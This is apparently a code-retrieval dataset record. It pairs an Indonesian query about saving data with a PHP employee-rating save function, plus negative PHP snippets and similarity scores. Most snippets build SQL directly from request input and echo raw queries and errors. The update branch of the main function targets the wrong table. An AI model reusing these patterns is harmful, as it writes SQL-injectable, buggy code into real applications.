email\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_email) : $x_email; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`email`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `usuario` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t\r\n\t$x_usuario_id = mysql_insert_id();\r\n\r\n\t$sSql = \"update cliente set usuario_id = $x_usuario_id where cliente_id = $x_cliente_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n}else{\r\n\r\n\tinclude(\"utilerias/gen_pass_ec.php\");\r\n\r\n\t$sSql = \"SELECT cliente_id FROM solicitud_inciso where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\twhile ($row = phpmkr_fetch_array($rs)){\r\n\t\t$x_cliente_id = $row[\"cliente_id\"];\r\n\r\n\t\t$sSql = \"update cliente set cliente_num = '\".$GLOBALS[\"x_cliente_num\"].\"' where cliente_id = $x_cliente_id \";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\t\r\n\r\n\t\t//USUARIO Y PASSWORD\r\n\t\t$x_asignada = 0;\r\n\t\twhile($x_asignada == 0){\r\n\t\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t\t$sSql = \"Select * from usuario where usuario = '$clave'\";\r\n\t\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t\t$x_usuario = $clave;\r\n\t\t\t\t$x_asignada = 10;\r\n\t\t\t}\r\n\t\t\tphpmkr_free_result($rs2);\r\n\t\t}\r\n\t\r\n\t\t$x_asignada = 0;\r\n\t\twhile($x_asignada == 0){\r\n\t\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t\t$sSql = \"Select * from usuario where clave = '$clave'\";\r\n\t\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t\t/*\t\t\r\n\t\t\t\t$sSql = \"update socios set clave = '$clave' where socio_id = $x_socio_id\";\r\n\t\t\t\tphpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t\t*/\r\n\t\t\t\t$x_clave = $clave;\r\n\t\t\t\t$x_asignada = 10;\r\n\t\t\t}\r\n\t\t\tphpmkr_free_result($rs2);\r\n\t\t}\r\n\t\r\n\t\t$sSql = \"SELECT * FROM cliente where cliente_id = $x_cliente_id\";\r\n\t\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t$row = phpmkr_fetch_array($rs);\r\n\t\t$x_nombre = $row[\"nombre_completo\"].\" \". $row[\"apellido_paterno\"].\" \".$row[\"apellido_materno\"];\r\n\t\t$x_email = $row[\"email\"];\r\n\t\tphpmkr_free_result($rs);\t\t\r\n\t\r\n\t\r\n\t\t$fieldList = NULL;\r\n\t\t// Field usuario_rol_id\r\n\t\t$fieldList[\"`usuario_rol_id`\"] = 8;\r\n\t\r\n\t\t// Field usuario_status_id\r\n\t\t$fieldList[\"`usuario_status_id`\"] = 1;\r\n\t\r\n\t\t// Field usuario\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_usuario) : $x_usuario; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`usuario`\"] = $theValue;\r\n\t\r\n\t\t// Field clave\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_clave) : $x_clave; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`clave`\"] = $theValue;\r\n\t\r\n\t\t// Field nombre\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_nombre) : $x_nombre; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`nombre`\"] = $theValue;\r\n\t\r\n\t\t// Field fecha_registro\r\n\t\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\t\r\n\t\t// Field fecha_caduca\r\n\t\t$theValue = ($GLOBALS[\"x_fecha_caduca\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_caduca\"]) . \"'\" : \"Null\";\r\n\t\t$fieldList[\"`fecha_caduca`\"] = $theValue;\r\n\t\r\n\t\t// Field fecha_visita\r\n\t\t$theValue = ($GLOBALS[\"x_fecha_visita\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_visita\"]) . \"'\" : \"Null\";\r\n\t\t$fieldList[\"`fecha_visita`\"] = $theValue;\r\n\t\r\n\t\t// Field visitas\r\n\t\t$theValue = ($GLOBALS[\"x_visitas\"] != \"\") ? intval($GLOBALS[\"x_visitas\"]) : \"0\";\r\n\t\t$fieldList[\"`visitas`\"] = $theValue;\r\n\t\r\n\t\t// Field email\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_email) : $x_email; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`email`\"] = $theValue;\r\n\t\r\n\t\t// insert into database\r\n\t\t$sSql = \"INSERT INTO `usuario` (\";\r\n\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t$sSql .= \") VALUES (\";\r\n\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t$sSql .= \")\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\t\r\n\t\t$x_usuario_id = mysql_insert_id();\r\n\t\r\n\t\t$sSql = \"update cliente set usuario_id = $x_usuario_id where cliente_id = $x_cliente_id\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t}\r\n\tphpmkr_free_result($rs);\t\t\r\n}\r\n\r\n\r\n\r\n//RENOVACIONES\r\n\t$sSql = \"SELECT promotor_id, solicitud_id_ant FROM solicitud where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_promotor_id = $row[\"promotor_id\"];\r\n\t$x_solicitud_id_ant = $row[\"solicitud_id_ant\"];\t\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\r\n\tif($x_solicitud_id_ant > 0 ){\r\n\r\n\t\t$sSql = \"SELECT credito_id FROM credito where solicitud_id = $x_solicitud_id_ant\";\r\n\t\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t$row = phpmkr_fetch_array($rs);\r\n\t\t$x_credito_id_ant = $row[\"credito_id\"];\r\n\t\tphpmkr_free_result($rs);\t\t\r\n\t\r\n\t\t$sSql = \"update credito set credito_id_ant = $x_credito_id_ant where credito_id = $x_credito_id\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\r\n\t\t$x_comision_importe = 50;\t\r\n\t}else{\r\n\t\t$x_comision_importe = 100;\r\n\t}\r\n\r\n\r\n//COMISIONES\r\n\r\n\r\n\r\n\t$fieldList = NULL;\r\n\t\r\n\t// Field promotor_id\r\n\t$fieldList[\"`promotor_id`\"] = $x_promotor_id;\r\n\r\n\t// Field solicitud_id\r\n\t$fieldList[\"`credito_id`\"] = $x_credito_id;\r\n\r\n\t// Field solicitud_id\r\n\t$fieldList[\"`vencimiento_id`\"] = 0;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\r\n\t// Field comision\r\n\t$theValue = ($GLOBALS[\"x_comision\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_comision\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`comision`\"] = $theValue;\r\n\r\n\t// Field comision_importe\r\n\t$fieldList[\"`comision_importe`\"] = $x_comision_importe;\r\n\r\n\t// Field referencia\r\n\tif($GLOBALS[\"x_credito_num\"] != \"\"){\r\n\t\t$fieldList[\"`referencia`\"] = \"'\".$GLOBALS[\"x_credito_num\"].\"'\";\r\n\t}else{\r\n\t\t$fieldList[\"`referencia`\"] = \"NULL\";\r\n\t}\r\n\r\n\t// Field promotor_comision_status_id\r\n\t$fieldList[\"`promotor_comision_status_id`\"] = 1;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `promotor_comision` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\tphpmkr_query($sSql, $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\r\n\r\n\r\n\r\n//GENERA CASO CRM\r\n$currentdatecrm = getdate(time());\r\n$currtime = $currentdatecrm[\"hours\"].\":\".$currentdatecrm[\"minutes\"].\":\".$currentdatecrm[\"seconds\"];\t\t\r\n\r\n\t$sSqlWrk = \"\r\n\tSELECT *\r\n\tFROM \r\n\t\tcrm_playlist\r\n\tWHERE \r\n\t\tcrm_playlist.crm_caso_tipo_id = 2\r\n\t\tAND crm_playlist.orden = 1\r\n\t\";\r\n\t\r\n\t$rswrk = phpmkr_query($sSqlWrk,$conn) or die(\"Failed to execute query\" . phpmkr_error() . ' SQL:' . $sSqlWrk);\r\n\t$datawrk = phpmkr_fetch_array($rswrk);\r\n\t$x_crm_playlist_id = $datawrk[\"crm_playlist_id\"];\r\n\t$x_prioridad_id = $datawrk[\"prioridad_id\"];\t\r\n\t$x_asunto = $datawrk[\"asunto\"];\t\r\n\t$x_descripcion = $datawrk[\"descripcion\"];\t\t\r\n\t$x_tarea_tipo_id = $datawrk[\"tarea_fuente\"];\t\t\r\n\t$x_orden = $datawrk[\"orden\"];\t\r\n\t$x_dias_espera = $datawrk[\"dias_espera\"];\t\t\r\n\t@phpmkr_free_result($rswrk);\r\n\r\n\r\n\t//Fecha Vencimiento\r\n\t$temptime = strtotime(ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]));\t\r\n\t$temptime = DateAdd('w',$x_dias_espera,$temptime);\r\n\t$fecha_venc = strftime('%Y-%m-%d',$temptime);\t\t\t\r\n\t$x_dia = strftime('%A',$temptime);\r\n\tif($x_dia == \"SUNDAY\"){\r\n\t\t$temptime = strtotime($fecha_venc);\r\n\t\t$temptime = DateAdd('w',1,$temptime);\r\n\t\t$fecha_venc = strftime('%Y-%m-%d',$temptime);\r\n\t}\r\n\t$temptime = strtotime($fecha_venc);\r\n\r\n\r\n\r\n\t$x_origen = 1;\r\n\t$x_bitacora = \"Seguimiento de Credito - (\".FormatDateTime($GLOBALS[\"x_fecha_otrogamiento\"],7).\" - $currtime)\";\r\n\r\n\t$x_bitacora .= \"\\n\";\r\n\t$x_bitacora .= \"$x_asunto - $x_descripcion \";\t\r\n\t\r\n\r\n\t$sSqlWrk = \"\r\n\tSELECT usuario_id\r\n\tFROM \r\n\t\tusuario\r\n\tWHERE \r\n\t\tusuario.usuario_rol_id = 2\r\n\tLIMIT 1\r\n\t\";\r\n\t\r\n\t$rswrk = phpmkr_query($sSqlWrk,$conn) or die(\"Failed to execute query\" . phpmkr_error() . ' SQL:' . $sSqlWrk);\r\n\t$datawrk = phpmkr_fetch_array($rswrk);\r\n\t$x_usuario_id = $datawrk[\"usuario_id\"];\r\n\t@phpmkr_free_result($rswrk);\r\n\t\r\n\r\n\t$sSql = \"INSERT INTO crm_caso values (0,2,1,1,$x_cliente_id,'\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"',$x_origen,$x_usuario_id,'$x_bitacora','\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"',NULL,$x_credito_id)\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\t$x_crm_caso_id = mysql_insert_id();\t\r\n\t\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n\t$sSql = \"INSERT INTO crm_tarea values (0,$x_crm_caso_id, $x_orden, $x_tarea_tipo_id, $x_prioridad_id,'\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"','$currtime','$fecha_venc',NULL,NULL,NULL, 1, 1, 2, $x_usuario_id, NULL,NULL, '$x_asunto','$x_descripcion',1)\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\t\r\n\r\n//FONDEO\r\n\t\r\n\tif(!empty($GLOBALS[\"x_fondeo_credito_id\"]) && $GLOBALS[\"x_fondeo_credito_id\"] > 0){\r\n\t\t$sSql = \"INSERT INTO fondeo_colocacion values (0,\".$GLOBALS[\"x_fondeo_credito_id\"].\",$x_credito_id)\";\r\n\t\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\r\n\tphpmkr_query('commit;', $conn);\t \r\n\treturn true;\r\n}", "public function do_add_db($get_array, $do, $all_array)\n\t{\n\t\ttry {\n\t\t\t//variable declaration\n\t\t\t$get_array_keys = $get_array_keyss = $insert_status = $insert_id = null;\n\t\t\t$table_name = $all_array[0];\n\n\t\t\t$i = 0;\n\t\t\tforeach ($all_array[3] as $get_array_key => $get_array_val) {\n\t\t\t\t//removing submit button and do parameter\n\t\t\t\tif($do.'_submit' == $all_array[3][$i][2]) {\n\t\t\t\t\tunset($all_array[3][$i][2]);\n\t\t\t\t\tunset($get_array_val[2]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t\t$str_find = strpos($all_array[3][$i][2],\"[]\");\n\t\t\t\t\t\n\t\t\t\t\t// File Checking \n\t\t\t\t\tif($all_array[3][$i][0] == 'file') {\n\t\t\t\t\t\t$file_values = $_FILES[$all_array[3][$i][2]]['name'];\n\t\t\t\t\t\t$_REQUEST[$get_array_key] = $file_values;\n\t\t\t\t\t\t$file_names[] = $all_array[3][$i][2];\n\t\t\t\t\t}\n\t\t\t\t\t// Date Format Checking \n\t\t\t\t\telse if ($all_array[3][$i][5] == 'Cal') {\n\t\t\t\t\t\t$_REQUEST[$get_array_key] = $this->date_format_func($get_array[$get_array_val[2]], \"Y-m-d H:i:s\");\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Serialize when the data is array\n\t\t\t\t\telse if (!empty($str_find) && $str_find >= 0) {\n\t\t\t\t\t\t$get_array_val[2] = str_replace(\"[]\",\"\",$get_array_val[2]);\n\t\t\t\t\t\t$_REQUEST[$get_array_key] = serialize($get_array[$get_array_val[2]]);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($all_array[3][$i][0] != 'head') {\n\t\t\t\t\t\t\t$_REQUEST[$get_array_key] = $get_array[$get_array_val[2]];\n\t\t\t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\t\t// Removing the \"head\" line for db\n\t\t\t\t\tif ($all_array[3][$i][0] != 'head') {\n\t\t\t\t\t\t// forming the data for insert query \n\t\t\t\t\t\t$form_values[] = $_REQUEST[$get_array_key];\n\t\t\t\t\t\t$get_array_keys.= $get_array_val[2].\",\";\n\t\t\t\t\t\t$get_array_keyss.= \"?,\";\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t//removing the , from the insert statement\n\t\t\t$form_columns = trim($get_array_keys,\",\");\n\t\t\t$db_columns = trim($get_array_keyss,\",\");\n\t\t\t$stmt = $this->conn->prepare(\"INSERT INTO \".$table_name.\" (\".$form_columns.\") VALUES (\".$db_columns.\")\");\n\t\t\t$stmt->execute($form_values);\n\t\t\t$insert_id = $this->conn->lastInsertId();\n\t\t\t\n\t\t\t// Move files into upload directory\n\t\t\tif (isset($_FILES)) {\n\t\t\t\tforeach($file_names as $files) {\n\t\t\t\t\t$this->file_uploads($files,CONFIG::UPLOADS_PATH, $insert_id);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($stmt->rowCount() == 1) {\n\t\t\t\t$log_data = \"new record added successfully\";\n\t\t\t\t$insert_status = 'success';\n\t\t\t}\n\t\t}\n\t\tcatch (PDOException $e) {\n\t\t\t$insert_status = 'error';\n\t\t\t$log_data = \"\".$e->getMessage().\"\".CONFIG::NEWLINE_ERROR.\"|\";\n\t\t}\n\t\treturn array($log_data, $insert_id, $insert_status);\n\t}", "function deleteData($db)\n{\n global $_REQUEST;\n $i = 0;\n foreach ($_REQUEST as $strIndex => $strValue) {\n if (substr($strIndex, 0, 15) == 'chkManagementID') {\n // cari dulu data Department code\n $strSQL = \"SELECT * FROM hrd_management WHERE id = '$strValue' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strCode = $rowDb['management_code'];\n $strSQL = \"DELETE FROM hrd_division WHERE management_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_department WHERE management_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_section WHERE management_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_sub_section WHERE management_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n }\n $strSQL = \"DELETE FROM hrd_management WHERE id = '$strValue' \";\n $resExec = $db->execute($strSQL);\n $i++;\n }\n if (substr($strIndex, 0, 13) == 'chkDivisionID') {\n // cari dulu data Department code\n $strSQL = \"SELECT * FROM hrd_division WHERE id = '$strValue' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strCode = $rowDb['division_code'];\n $strSQL = \"DELETE FROM hrd_department WHERE division_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_section WHERE division_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_sub_section WHERE division_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n }\n $strSQL = \"DELETE FROM hrd_division WHERE id = '$strValue' \";\n $resExec = $db->execute($strSQL);\n $i++;\n }\n if (substr($strIndex, 0, 5) == 'chkID') {\n // cari dulu data Department code\n $strSQL = \"SELECT * FROM hrd_department WHERE id = '$strValue' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strCode = $rowDb['department_code'];\n $strSQL = \"DELETE FROM hrd_section WHERE department_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n $strSQL = \"DELETE FROM hrd_sub_section WHERE department_code = '$strCode' \";\n $resExec = $db->execute($strSQL);\n }\n $strSQL = \"DELETE FROM hrd_department WHERE id = '$strValue' \";\n $resExec = $db->execute($strSQL);\n $i++;\n } else if (substr($strIndex, 0, 12) == 'chkSectionID') { // hapus section\n // cari dulu data section code\n $strSQL = \"SELECT * FROM hrd_section WHERE id = '$strValue' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strCode = $rowDb['section_code'];\n $strCode1 = $rowDb['department_code'];\n $strSQL = \"DELETE FROM hrd_sub_section WHERE section_code = '$strCode' \";\n $strSQL .= \"AND department_code = '$strCode1' \";\n $resExec = $db->execute($strSQL);\n }\n $strSQL = \"DELETE FROM hrd_section WHERE id = '$strValue' \";\n $resExec = $db->execute($strSQL);\n $i++;\n } else if (substr($strIndex, 0, 15) == 'chkSubSectionID') { // hapus sub section\n $strSQL = \"DELETE FROM hrd_sub_section WHERE id = '$strValue' \";\n $resExec = $db->execute($strSQL);\n $i++;\n }\n }\n if ($i > 0) {\n writeLog(ACTIVITY_DELETE, MODULE_PAYROLL, \"$i data\", 0);\n }\n}", "function insertData($nama,$nim,$semester,$prodi,$bujitul2,$bujitul,$bujikes,$spptetapa,$spptetap,$sppprakteka,$spppraktek,$sppteoria,$sppteori,$bpu,$boa,$seragam,$pps,$blain2,$blain,$blain3,$blain3a,$blain4,$blain4a,$blain5,$blain5a,$total,$pic){\n\t\t\t$this->ConnectDB();\n\t\t\t$kwnums = $this->KwNums();\n\t\t\t$tanggal = $this->Tanggal('tgl').' '.$this->Tanggal('blnL').' '.$this->Tanggal('THN');\n\t\t\t$sql = \"INSERT INTO nota ( kwnum, payee, nim, semester, prodi, bujitul2, bujitul, bujikes, spptetapa, spptetap, sppprakteka, spppraktek, sppteoria, sppteori, bpu, boa, seragam, pps, blain2, blain, blain3, blain3a, blain4, blain4a, blain5, blain5a, total, pic, tglkw) VALUES ('$kwnums','$nama', '$nim','$semester','$prodi','$bujitul2','$bujitul','$bujikes','$spptetapa','$spptetap','$sppprakteka','$spppraktek','$sppteoria','$sppteori','$bpu','$boa','$seragam','$pps','$blain2','$blain','$blain3','$blain3a','$blain4','$blain4a','$blain5','$blain5a','$total','$pic','$tanggal')\";\n\t\t\tif(! mysql_query($sql,$this->conn))\n\t\t\t\techo \"gagal -> \".mysql_error();\n\t\t\telse\n\t\t\t\techo \"berhasil\";\n\t\t}" ]
[ "0.71535707", "0.6730403", "0.67092437", "0.655833", "0.6457201", "0.6419566", "0.6404456", "0.6363915", "0.6310284", "0.6305591", "0.63031423", "0.6301943", "0.62943083", "0.62667507", "0.6240317", "0.62218153", "0.6216398", "0.6202339", "0.61926246", "0.61850446", "0.6183853", "0.61751825", "0.6164678", "0.61638", "0.6146133", "0.6102539", "0.60950774", "0.60700303", "0.60645205", "0.6061257", "0.6055854", "0.605338", "0.6053034", "0.6051523", "0.601357", "0.60132015", "0.6004536", "0.59888214", "0.598477", "0.59764075", "0.5972411", "0.5970138", "0.59669906", "0.5961224", "0.5958829", "0.5942927", "0.5932722", "0.59183955", "0.5909332", "0.5906669", "0.59020644", "0.59003294", "0.5894648", "0.5894613", "0.5892457", "0.5890185", "0.5884962", "0.5882257", "0.5877836", "0.58714736", "0.5870592", "0.5869067", "0.5868974", "0.5865572", "0.5857652", "0.5855988", "0.5853602", "0.5850853", "0.58467275", "0.58453995", "0.5844206", "0.5841227", "0.5838486", "0.5832326", "0.5819947", "0.58191127", "0.58188266", "0.5811148", "0.58068776", "0.58027965", "0.58013666", "0.57993346", "0.5790701", "0.5790673", "0.57901305", "0.5788156", "0.5780538", "0.5779836", "0.5777006", "0.5776911", "0.577478", "0.5774371", "0.5774364", "0.5767991", "0.5763955", "0.57609755", "0.57609755", "0.575929", "0.57569546", "0.5754593" ]
0.6381676
7
showData fungsi untuk menyimpan data
function saveData($db, &$strDataID, &$strError) { global $_REQUEST; global $_SESSION; global $error; global $messages; global $arrData; global $arrUserInfo; $strError = ""; $bolOK = true; $strToday = date("Y-m-d"); (isset($_REQUEST['dataEmployee'])) ? $strDataEmployee = $_REQUEST['dataEmployee'] : $strDataEmployee = ""; (isset($_REQUEST['dataDate'])) ? $strDataDate = $_REQUEST['dataDate'] : $strDataDate = ""; (isset($_REQUEST['dataCode'])) ? $strDataCode = $_REQUEST['dataCode'] : $strDataCode = ""; (isset($_REQUEST['dataPeriod'])) ? $strDataPeriod = $_REQUEST['dataPeriod'] : $strDataPeriod = ""; (isset($_REQUEST['dataNote'])) ? $strDataNote = $_REQUEST['dataNote'] : $strDataNote = ""; // cek validasi ----------------------- if ($strDataEmployee == "") { $strError = $error['empty_employee']; $bolOK = false; } else if ($strDataCode == "") { $strError = $error['empty_code']; $bolOK = false; } else if ($strDataPeriod == "") { $strError = $error['invalid_date']; $bolOK = false; } else if (substr_count($strDataNote, "'")) { $strError = $error['invalid_text']; $bolOK = false; } // cari dta Employee ID, apakah ada atau tidak $arrEmployee = getEmployeeInfoByCode($db, $strDataEmployee, "id, employee_name"); if (count($arrEmployee) == 0) { $strError = $error['employee_data_not_found']; $bolOK = false; } else { $strIDEmployee = $arrEmployee["id"]; } // simpan data ----------------------- if ($bolOK) { // input OK, tinggal disimpan if ($strDataID == "") { // cek data yang duplikat $strSQL = "SELECT id FROM hrd_employee_rating WHERE id_employee = '$strIDEmployee' "; $strSQL .= "AND period = $strDataPeriod "; $resS = $db->execute($strSQL); echo $strSQL; if ($rowDb = $db->fetchrow($resS)) { //echo "Sini juga"; //var_dump($rowDb); $strError = $error['overlaping_date_entry']; $bolOK = false; } if ($bolOK) { $strSQL = "INSERT INTO hrd_employee_rating (created, created_by, modified_by, "; $strSQL .= "id_employee, rating_code, rating_date, period, "; $strSQL .= "note) "; $strSQL .= "VALUES(now(),'" . $_SESSION['sessionUserID'] . "','" . $_SESSION['sessionUserID'] . "', "; $strSQL .= "'$strIDEmployee','$strDataCode','$strDataDate', $strDataPeriod, "; $strSQL .= "'$strDataNote') "; $resExec = $db->execute($strSQL); // cari ID //echo $strSQl; writeLog( 'EMPLOYEE RATING ADD', MODULE_EMPLOYEE, $arrEmployee['employee_name'] . " - " . $strDataCode . " - " . $strDataDate . " - " . $strDataPeriod . " ", 0 ); $strError = $messages['data_saved']; } } else { $strSQL = "UPDATE hrd_absence "; $strSQL .= "SET modified_by = '" . $_SESSION['sessionUserID'] . "', "; $strSQL .= "id_employee = '$strIDEmployee',"; $strSQL .= "rating_code = '$strDataCode', "; $strSQL .= "rating_date = '$strDataDate', "; $strSQL .= "period = $strDataPeriod, "; $strSQL .= "note = '$strDataNote', duration = '$strDataDuration' "; $strSQL .= "WHERE id = '$strDataID' "; $resExec = $db->execute($strSQL); writeLog('EMPLOYEE RATING UPDATE', MODULE_EMPLOYEE, "Employee rating", 0); $strError = $messages['data_saved']; } } else { // ---- data SALAHs // gunakan data yang diisikan tadi $arrData['dataEmployee'] = $strDataEmployee; $arrData['dataDate'] = $strDataDate; $arrData['dataCode'] = $strDataCode; $arrData['dataPeriod'] = $strDataPeriod; $arrData['dataNote'] = $strDataNote; $arrData['dataID'] = $strDataID; //writeLog(ACTIVITY_EDIT, MODULE_EMPLOYEE, "data not saved - error: ".$strError, 0); } //einsert return $bolOK; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Data $data)\n {\n //\n }", "public function show($data)\n {\n }", "public static function showData() {\n\n\t\tforeach(self::$employee_array as $id => $employee) { // Pour chaque ligne on affiche chaque attribut correspondant au colonne du tableau\n\n\t\t\tif($employee->_entityShortName == null) // Gestion du cas où une entité a été supprimée mais pas l'employé de l'entité\n\t\t\t\techo \"<tr><td>null</td><td>\" . $employee->_lastName . \"</td><td>\" . $employee->_firstName . \"</td><td>\" . $employee->_login . \"</td><td><a href=\\\"user.php?action=modifier&id=\" . $employee->_id . \"\\\">modifier</a></td><td><a href=\\\"user.php?action=supprimer&id=\" . $id . \"\\\">supprimer</a></td></tr>\";\n\t\t\telse\n\t\t\t\techo \"<tr><td>\" . $employee->_entityShortName . \"</td><td>\" . $employee->_lastName . \"</td><td>\" . $employee->_firstName . \"</td><td>\" . $employee->_login . 